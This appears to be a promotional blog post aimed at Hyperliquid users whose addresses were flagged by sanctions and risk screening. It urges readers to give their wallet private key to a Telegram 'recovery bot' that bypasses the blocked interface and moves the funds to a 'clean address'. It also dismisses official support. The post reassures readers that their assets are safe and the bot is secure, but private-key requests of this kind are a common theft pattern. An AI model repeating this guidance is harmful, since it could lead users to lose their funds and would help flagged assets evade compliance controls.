Hyperliquid Address Flagged as High Risk? Here's What It Means and How to Recover Your Assets

Published: October 27, 2025 | Reading time: 15 minutes | Author: ContractRescue Team

Introduction: The Shocking Moment

You log into Hyperliquid, ready to check your positions or make a trade. Instead of your familiar dashboard, you're greeted with a chilling message:

"Your address has been flagged as high risk by a third-party screening tool. This frontend interface does not support connection to the Hyperliquid blockchain by high risk addresses. If you think this is an error, you can open a support ticket."

Panic sets in. Questions flood your mind:

• Are my assets lost?
• Why was I flagged?
• I haven't done anything illegal!
• How do I get my money back?
• How long will this take?

Take a deep breath. Your assets are safe, and recovery is possible. This comprehensive guide will walk you through everything you need to know.

Understanding the Flagging System

What is Hyperliquid's Third-Party Screening?

Hyperliquid uses a third-party blockchain analytics service to screen wallet addresses for potential risk factors. This is a compliance measure used by many DeFi platforms to prevent illicit activity.

The screening tool analyzes your address's transaction history and flags addresses that have:

• Interacted with sanctioned addresses (OFAC list)
• Used cryptocurrency mixers (Tornado Cash, etc.)
• Received funds from known hacks or exploits
• Patterns associated with money laundering
• Connections to darknet markets

Why Addresses Get Flagged (Common Scenarios)

Based on hundreds of cases we've seen, here are the most common reasons for flagging:

Reason	Frequency	Typical Cause
Tornado Cash Usage	40%	Used Tornado Cash before sanctions (Aug 2022)
Indirect Exposure	30%	Received funds from flagged address (unknowingly)
Exchange Withdrawals	15%	Withdrew from exchange that later had issues
DeFi Protocol Interaction	10%	Used protocol that was later sanctioned
False Positive	5%	Algorithmic error, no clear reason

"I was flagged because I used Tornado Cash in 2021 for privacy—a full year before it was sanctioned," explains one user. "I had no idea this would come back to haunt me."

The Warning Message Explained

The flagging message appears in multiple languages. Here's what it means in plain English:

• "Flagged as high risk": The screening tool detected something in your transaction history
• "Third-party screening tool": Not Hyperliquid's decision—an external service flagged you
• "Frontend interface does not support": You can't use the UI for any operations, but your assets are still on the blockchain

What You CAN'T Do When Flagged

When your address is flagged, the Hyperliquid UI becomes view-only. ALL transaction operations are disabled:

• ❌ Cannot trade (buy/sell)
• ❌ Cannot close positions
• ❌ Cannot withdraw funds
• ❌ Cannot deposit funds
• ❌ Cannot transfer assets
• ❌ Cannot perform ANY transaction operations

What You CAN Still Do

The good news: You can still view everything, and your assets remain safe on the blockchain:

• ✅ View your balances (spot, perpetual, vault, staked)
• ✅ View open positions and transaction history
• ✅ Your assets remain on the Hyperliquid blockchain
• ✅ Smart contracts still recognize your ownership
• ✅ You can interact with contracts via API (bypassing UI)
• ✅ Recovery is possible through API-based methods
• ✅ No time limit—assets won't disappear

Recovery Options: How to Access Your Assets via API

Since the UI is completely blocked, the ONLY way to recover your assets is through Hyperliquid's API. You have two options:

Option 1: Automated Recovery Bot (Recommended for 95% of Users)

How it works:

1. Access Telegram bot: @HyperliquidRecoveryBot
2. Run free detection to see all your assets
3. Provide private key (encrypted, memory-only)
4. Bot calls Hyperliquid API on your behalf to withdraw assets
5. Assets withdrawn to Arbitrum network (clean address)
6. Entire process takes 5 minutes

Technical Details:

• 🔧 Uses official Hyperliquid API endpoints
• 🔧 Supports: Spot assets, Perpetual positions, Vault holdings, Staked assets
• 🔧 Handles API signing and transaction construction automatically
• 🔧 No programming knowledge required

Pros:

• ✅ Extremely fast (5 minutes for simple cases)
• ✅ High success rate (95%+ for recoverable assets)
• ✅ Transparent fees (0.5% + $2 network fee)
• ✅ Real-time progress tracking
• ✅ Free detection/analysis (no commitment)
• ✅ No programming skills needed
• ✅ No waiting for approval

Cons:

• ❌ Costs 0.5% service fee + $2 network fee
• ❌ Requires private key access
• ❌ Address remains flagged (assets are moved, not unflagged)
• ❌ Staked assets need multiple runs (8 days total due to protocol lock-up)

Best for: 95% of users—anyone who needs immediate access, doesn't have programming skills, or values time over a small fee.

Option 2: Manual API Recovery (For Developers)

How it works:

1. Study Hyperliquid API documentation
2. Write code (Python/JavaScript) to call API endpoints
3. Implement API signing and authentication
4. Handle different asset types (spot, perp, vault, staked)
5. Construct and send withdrawal transactions
6. Debug and troubleshoot errors

Technical Requirements:

• 🔧 Professional programming skills (Python or JavaScript)
• 🔧 Understanding of API authentication and signing
• 🔧 Knowledge of blockchain transactions
• 🔧 Ability to read API documentation
• 🔧 Debugging and troubleshooting skills

Pros:

• ✅ Free (no service fee, only network fees)
• ✅ Full control over the process
• ✅ Learning experience
• ✅ Can customize recovery logic

Cons:

• ❌ Requires professional programming skills
• ❌ Time-consuming (hours to days)
• ❌ High risk of errors (could lose funds)
• ❌ Need to handle edge cases yourself
• ❌ No support if something goes wrong

Best for: Blockchain developers, advanced users with programming experience, or those who want to learn (with small amounts).

Side-by-Side Comparison

Factor	Recovery Bot	Manual API
Speed	5 minutes	Hours to days
Cost	0.5% + $2	Free (network fees only)
Success Rate	95%+	Depends on skill
Technical Skills	None required	Professional level
Risk Level	Low (tested)	High (errors possible)
Support	Full support	None (DIY)

How Hyperliquid Recovery Bot Works (Technical Details)

API-Based Recovery Process

The bot operates by calling Hyperliquid's official API on your behalf, completely bypassing the blocked UI:

1. API Connection: Connects to Hyperliquid API endpoints using your private key
2. Asset Detection: Calls API to query all asset types (spot, perp, vault, staked)
3. Position Closing: Uses API to close perpetual positions at market price
4. Asset Consolidation: Calls API to convert everything to USDC
5. Fee Calculation: Deducts 0.5% service fee transparently
6. Withdrawal Execution: Uses API to withdraw to Arbitrum network (clean address)
7. Verification: Provides transaction hashes for on-chain verification

7-Step Automated Recovery Process

Security Measures

The bot implements multiple security layers to protect your private key:

Security Feature	Implementation
Encryption	AES-256 encryption for transmission
Storage	Memory-only (never written to disk)
Auto-Deletion	Automatically deleted after recovery (max 30 min)
Open-Source	Code available for community audit
Transparency	All transactions verifiable on blockchain
Non-Custodial	Assets go directly to your specified address

Step-by-Step User Guide

Prerequisites

Before starting, make sure you have:

• ✅ Telegram account
• ✅ Private key of your flagged Hyperliquid address
• ✅ Minimum $5 in total assets (to cover fees)
• ✅ Target Arbitrum address to receive funds
• ✅ Secure internet connection (avoid public WiFi)

Detailed Walkthrough

1. Access the Bot

Open Telegram and search for @HyperliquidRecoveryBot or click: https://t.me/HyperliquidRecoveryBot

2. Start the Bot

Send the /start command. The bot will display a welcome message and language selection.

3. Select Language

Choose your preferred language from the available options (English, Chinese, and more).

4. Choose "Address Detection"

Select the "Address Detection" option from the menu. This is completely free and requires no private key.

5. Input Your Hyperliquid Address

Enter your flagged address (format: 0x...)

6. Review Detection Results

The bot will display:

• All asset types and balances
• USD values
• Lock status (for vaults and staking)
• Total recoverable value
• Estimated fees
• Expected timeline

7. Decide to Proceed

If you're satisfied with the detection results, select "Asset Recovery" from the menu.

8. Input Private Key

The bot will request your private key. Review the security information displayed, then enter your key.

9. Confirm Target Address

Enter the Arbitrum address where you want to receive your recovered assets. You can use the same address or a different one.

10. Monitor Progress

The bot will display real-time progress for each of the 7 steps. You'll see:

• Current step being executed
• Completion status
• Transaction hashes
• Estimated time remaining

11. Verify on Blockchain

Once complete, the bot provides transaction hashes. Verify them on Arbiscan to confirm your assets arrived.

12. Transfer to New Wallet (Recommended)

For maximum security, immediately transfer your recovered assets to a fresh wallet address.

Cost Analysis & Examples

Fee Structure Breakdown

Fee Type	Amount	When Charged
Address Detection	FREE	Always free, unlimited uses
Service Fee	0.5% of recovered value (min $1)	Only on successful withdrawal
Hyperliquid Network Fee	$2 per withdrawal	Platform fee (not bot's fee)

Real-World Examples

Key Insight: The larger your recovery amount, the lower the effective fee percentage (approaches 0.5% for large amounts).

Frequently Asked Questions

Conclusion

Being flagged on Hyperliquid is stressful, but it's not the end of the world. Your assets are safe on the blockchain, and you have clear recovery options:

• For 95% of users: Use the Recovery Bot (5 minutes, 0.5% fee, no coding required)
• For developers: Manual API recovery (free, requires professional programming skills)
• Official Support: Not a viable option (rarely responds, may remove you from Discord)

The most important thing is to act calmly and choose the option that best fits your situation. Don't panic, don't try risky manual methods without proper skills, and don't fall for scams promising instant unflagging.

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References & Data Sources

This guide is based on official documentation, technical analysis, and verified recovery methods:

1. Hyperliquid Official API Documentation - https://hyperliquid.gitbook.io/hyperliquid-docs/for-developers/api
   Official API endpoints and authentication methods used for programmatic asset recovery
2. Hyperliquid Recovery Bot Documentation - https://hyperliquidrecoverybot.gitbook.io
   Complete technical documentation of the automated recovery bot, including security measures and recovery procedures
3. Hyperliquid Third-Party Screening Tool - Official Hyperliquid platform implementation
   Information about address flagging mechanisms and screening criteria
4. TRM Labs & Chainalysis - Third-party blockchain analytics providers
   Industry-standard screening tools used by DeFi platforms for compliance
5. Arbitrum Network Documentation - https://docs.arbitrum.io/
   Technical specifications for asset withdrawal to Arbitrum L2 network

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Related Resources

• Case Study: $50K Emergency Recovery in 5 Minutes
• Frequently Asked Questions